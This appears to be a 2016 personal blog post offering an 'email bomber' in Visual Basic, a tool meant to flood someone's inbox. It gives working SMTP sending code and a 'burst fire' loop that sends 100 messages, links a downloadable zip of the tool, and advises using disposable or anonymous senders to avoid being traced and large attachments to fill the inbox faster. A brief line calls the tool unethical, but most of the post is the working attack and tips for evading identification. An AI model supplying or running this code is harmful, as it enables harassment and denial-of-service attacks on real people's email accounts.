Email Bomber

posted Jan 20, 2016, 11:47 AM by Leroy Dyer   [ updated Jan 20, 2016, 12:00 PM ]
The email bomber is a classic tool used to block or fill up somebody's email inbox with emails. 

It also can be considered to be a denial of service attack. (DOS)

the creation of such a tool can be considered unethical and should not be used to do harm!

Burst fire mode is created by using a timer in the application and on each tick of the timer an email is sent. This can be set to any amount of time required. 

Sending mass emails with a personal email would not be a smart move, so a disposable email or anonymous email sender would be required. 

to make the tool work it needs to be compiled with visual basic 2013. 

the details of the email needs to be added to the form in the initial loading the application. 

Large attachments can also be used to also fill the email inbox up. 

It should be noted that a good email management application will group emails by sender which will also allow for mass deletion of emails. 



Send Sub

    Private Sub Send()
        'Variables
        Dim SMTP As New SmtpClient
        Dim Email As New MailMessage
        Dim Attached As Attachment
        Attached = New Attachment(TextBoxAttachment.Text)
        'SMTP Credentials
        SMTP.Host = TextBoxHost.Text
        SMTP.EnableSsl = CheckBoxSSL.CheckState
        SMTP.Port = TextBoxPort.Text
        SMTP.Credentials = New Net.NetworkCredential(TextBoxUsername.Text, TextBoxPassword.Text)

        'Create Email
        Email.To.Add(TextBoxTo.Text)
        Email.From = New MailAddress(TextBoxFrom.Text)
        Email.Subject = TextBoxSubject.Text
        Email.Body = TextBoxMsg.Text

        'Check Attachments
        If CheckBoxAttached.CheckState = True Then
            Email.Attachments.Add(Attached)
        Else
        End If

        'Send Email
        SMTP.Send(Email)

        'Clear Attachments
        If CheckBoxAttached.CheckState = True Then
            Email.Attachments.Clear()
            Email.Attachments.Remove(Attached)
        Else
        End If
    End Sub


Burst Fire Mode

    Private Sub ButtonBurstFire_Click(sender As Object, e As EventArgs) Handles ButtonBurstFire.Click
        For i = 1 To 100
            If Check() = True Then Send()
        Next
    End Sub


ċ
EmailBomber.zip
(36k)
Leroy Dyer,
Jan 20, 2016, 11:47 AM
v.1
Comments